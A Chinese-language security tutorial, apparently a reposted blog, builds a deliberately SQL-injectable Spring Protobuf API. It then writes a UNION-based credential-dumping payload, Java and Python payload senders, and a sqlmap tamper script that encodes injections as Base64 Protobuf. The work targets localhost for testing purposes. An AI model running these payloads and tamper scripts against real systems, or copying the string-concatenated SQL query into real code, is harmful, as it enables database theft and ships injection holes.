Protobuf API安全測試啟示


ProtoBuf介紹

protocol buffers 是一種語言無關、平台無關、可擴展的序列化結構數據的方法,它可用於(數據)通信協議、數據存儲等。

Protocol Buffers 是一種靈活,高效,自動化機制的結構數據序列化方法-可類比 XML,但是比 XML 更小(3 ~ 10倍)、更快(20 ~ 100倍)、更為簡單。

因此具有以下特點:

  • 語言無關、平台無關。即 ProtoBuf 支持 Java、C++、Python 等多種語言,支持多個平台

  • 高效。即比 XML 更小(3 ~ 10倍)、更快(20 ~ 100倍)、更為簡單

  • 擴展性、兼容性好。你可以更新數據結構,而不影響和破壞原有的舊程序

 

Java API環境編寫

這里使用的環境是ProtoBuf 3.12.0

<dependency>
    <groupId>com.google.protobuf</groupId>
    <artifactId>protobuf-java</artifactId>
    <version>3.12.0</version>
</dependency>

商定的Proto協議如下,並將其放到resource目錄下

syntax="proto2";

package com.mavenweb.vuln;

option java_package = "com.mavenweb.vuln.pojo";
option java_multiple_files=true;
option java_outer_classname="User";

message UserInfo
{
  optional string name = 1;
}

 

 如果不想通過protoc的二進制文件來生成對應的Java文件,可以跟我一樣通過Maven插件的方式來自生成Java文件。首先添加如下插件內容到Pom.xml文件中

<build>
        <extensions>
            <extension>
                <groupId>kr.motd.maven</groupId>
                <artifactId>os-maven-plugin</artifactId>
                <version>1.5.0.Final</version>
            </extension>
        </extensions>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>

            <plugin>
                <groupId>org.xolstice.maven.plugins</groupId>
                <artifactId>protobuf-maven-plugin</artifactId>
                <version>0.6.1</version>
                <configuration>
                    <protocArtifact>com.google.protobuf:protoc:3.12.0:exe:${os.detected.classifier}</protocArtifact>
                    <pluginId>grpc-java</pluginId>
                    <pluginArtifact>io.grpc:protoc-gen-grpc-java:1.32.1:exe:${os.detected.classifier}</pluginArtifact>
                    <protoSourceRoot>src/main/resources</protoSourceRoot>
                    <outputDirectory>src/main/java</outputDirectory>
                    <clearOutputDirectory>false</clearOutputDirectory>
                </configuration>
                <executions>
                    <execution>
                        <goals>
                            <goal>compile</goal>
                            <goal>compile-custom</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

添加完成之后,打開IDEA,找到Maven中的Protobuf插件

直接雙擊,生成好的Java代碼就會輸出到outputDirectory元素指定的位置

之后模擬真實環境編寫一個數據庫查詢管理員信息的API接口

package com.mavenweb.vuln.controller;

import com.google.protobuf.InvalidProtocolBufferException;
import com.mavenweb.vuln.pojo.UserInfo;
import com.mavenweb.vuln.service.SearchByName;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;

import java.util.Base64;
import java.util.List;

@RestController
@RequestMapping("/")
public class ProtoController {

    @Autowired
    private SearchByName searchByName;

    @GetMapping("/show")
    @ResponseBody
    public String show() {
        return "Hello World";
    }

    @ResponseBody
    @PostMapping("/search")
    public String SearchByUsername(@RequestBody String body){
        //Base64 解密
        byte[] bytes = Base64.getDecoder().decode(body);
        try {
            UserInfo info = UserInfo.parseFrom(bytes);
            List<String> rs = searchByName.getList(info.getName());
            return rs.toString();
        }catch (InvalidProtocolBufferException e){
            e.printStackTrace();
        }
        return "haha";
    }
}

 

 getList的實現代碼如下:

package com.mavenweb.vuln.service;

import com.alibaba.fastjson.JSON;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.stereotype.Service;

import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;

@Service
public class SearchByName {

    @Autowired
    private JdbcTemplate jdbcTemplate;

    public List<String> getList(String name) {
        String sql = "select id,username,email,role from user where username = '" + name + "'";
        return (List<String>) jdbcTemplate.query(sql, new RowMapper<String>() {

            @Override
            public String mapRow(ResultSet rs, int rowNum) throws SQLException {
                List<String> listOfUserInfo = new ArrayList<>();
                listOfUserInfo.add(String.valueOf(rs.getInt("id")));
                listOfUserInfo.add(rs.getString("username"));
                listOfUserInfo.add(rs.getString("email"));
                listOfUserInfo.add(rs.getString("role"));
                return JSON.toJSONString(listOfUserInfo);
            }
        });
    }
}

 

至此整個環境就搭建完成。

 

Burp安裝Protobuf解析插件

這里我用的是Burp的python插件,在捕獲請求的時候就會解析對應的protobuf數據流並呈現對應的鍵值。

插件下載地址:https://github.com/mwielgoszewski/burp-protobuf-decoder

設置好burp插件

但是還是發現有些許錯誤導致插件安裝失敗,這里我將我遇到的坑也記錄下來

UnicodeDecodeError: 'unicodeescape' codec can't decode bytes in position 1-7: illegal Unicode character

錯誤是在protobuf/python/google/protobuf/internal/decoder.py文件的92行

_SURROGATE_PATTERN = re.compile(six.u(r'[\ud800-\udfff]'))

我的解決方案就是將[\ud800-\udfff]改成[\\ud800-\\udfff],再然后就是burp安裝插件的時候Error輸出

Error calling protoc:

原因是沒有找到你本地的protoc二進制文件

在py文件中將所有的路徑前面都加上絕對路徑就可以了

 

手動解析Protobuf數據流

但是不知道為何,我的ProtoBuf一直提示"Failed to parse input."。所以我這里就只好自己手動解析(說是手動解析,其實只是閱讀了protoburp.py依葫蘆畫瓢寫的)

protoc的--decode_raw參數是可以將獲取的數據流信息以格式化的方式呈現出來

可以看到burp插件的關鍵代碼中解析格式的源碼如上圖所示

編寫解析代碼如下:

import base64
import subprocess

try:
    decoded_bytes = base64.b64decode("CgVhZG1pbg==")
    process = subprocess.Popen(['F:\\Program Files\\protobuf\\bin\\protoc.exe', '--decode_raw'],
                               stdin=subprocess.PIPE,
                               stdout=subprocess.PIPE,
                               stderr=subprocess.PIPE)
    output, error = process.communicate(decoded_bytes)
    print ("Result:\n" + str(output))
except KeyboardInterrupt:
    pass

 

 

編寫注入腳本

針對剛才的環境編寫對應的數據包修改發送工具

import com.mavenweb.vuln.pojo.UserInfo;
import okhttp3.*;

import java.io.IOException;
import java.util.Base64;

public class TestMain {
    public static void main(String[] args) {
        UserInfo.Builder builder = UserInfo.newBuilder();
        builder.setName("admin' and 1=2 union select 1,group_concat(id,\";\",username,\";\",password,\"=\"),3,4 from user #");
        UserInfo userInfo = builder.build();
        System.out.println("Send Payload:"+userInfo.getName());

        //序列化
        byte[] bytes = userInfo.toByteArray();

        //Base64 加密
        String encoded = Base64.getEncoder().encodeToString(bytes);
        sendPost(encoded);
    }

    public static void sendPost(String payload) {
        OkHttpClient client = new OkHttpClient().newBuilder()
                .build();
        MediaType mediaType = MediaType.parse("text/plain");
        RequestBody body = RequestBody.create(mediaType, payload);
        Request request = new Request.Builder()
                .url("http://localhost:8080/search")
                .method("POST", body)
                .addHeader("Content-Type", "text/plain")
                .build();
        try {
            Response response = client.newCall(request).execute();
            System.out.println("Rs:"+response.body().string());
        }catch (IOException e){
            e.printStackTrace();
        }
    }
}

成功列出數據庫中所有的賬號密碼,這個過程唯一重要的就是需要人工自己解釋Proto文件的格式

syntax="proto2";

package vuln;

message Msg
{
  optional string username = 1;
}

然后執行

protoc.exe -I=. --python_out=. ./msg.proto

會生成一個msg_pb2.py文件

編寫一個Python的Payload生成腳本:

from base64 import b64encode, b64decode
import msg_pb2
import struct

def encode(array):
    products = msg_pb2.Msg()
    for arr in array:
        products.username = str(arr)

    serializedString = products.SerializeToString()
    serializedString = b64encode(serializedString).decode("utf-8")

    return serializedString

payload = encode([('admin\' and 1=2 union select 1,group_concat(id,";",username,";",password,"="),3,4 from user #')])
print(payload)

 

編寫Sqlmap的Tamper

編寫Tamper最主要的就是重寫tamper函數,函數原型如下:

def tamper(payload, **kwargs)

這里的kwargs是一個字典,結構如下

{'headers': {}, 'delimiter': '&', 'hints': {}}

eaders就是自定義的請求頭,而payload就是需要修改的payload。

根據上個小節的python生成payload腳本修改,編寫如下tamper

from lib.core.data import kb
from lib.core.enums import PRIORITY

import base64
import struct
import msg_pb2

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        # Instantiating objects
        products = msg_pb2.Msg()
        
        products.username = payload

        # Encoding the serialized string in base64
        serializedString = products.SerializeToString()
        b64serialized = base64.b64encode(serializedString).decode("utf-8")
        retVal = b64serialized

    return retVal

將編寫好的tamper和proto生成的py文件一起放入sqlmap的tamper目錄下

並添加一個sql.txt文本

POST /search HTTP/1.1
Host: localhost:8080
Content-Type: application/x-protobuf
Content-Length: 128

*

然后運行sqlmap

python sqlmap.py -r E:\sql.txt --tamper=protobuf_base64 --level 3 --dbs

 

Reference

[1].https://www.jianshu.com/p/a24c88c0526a

[2].https://my.oschina.net/pierrecai/blog/1329878

[3].https://portswigger.net/burp/extender/api/burp/imessageeditor.html

[4].https://developers.google.com/protocol-buffers/docs/javatutorial

[5].https://www.cnblogs.com/Cl0ud/p/14394627.html

[6].https://aptw.tf/2021/10/27/exploiting-protobuf-webapps.html

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM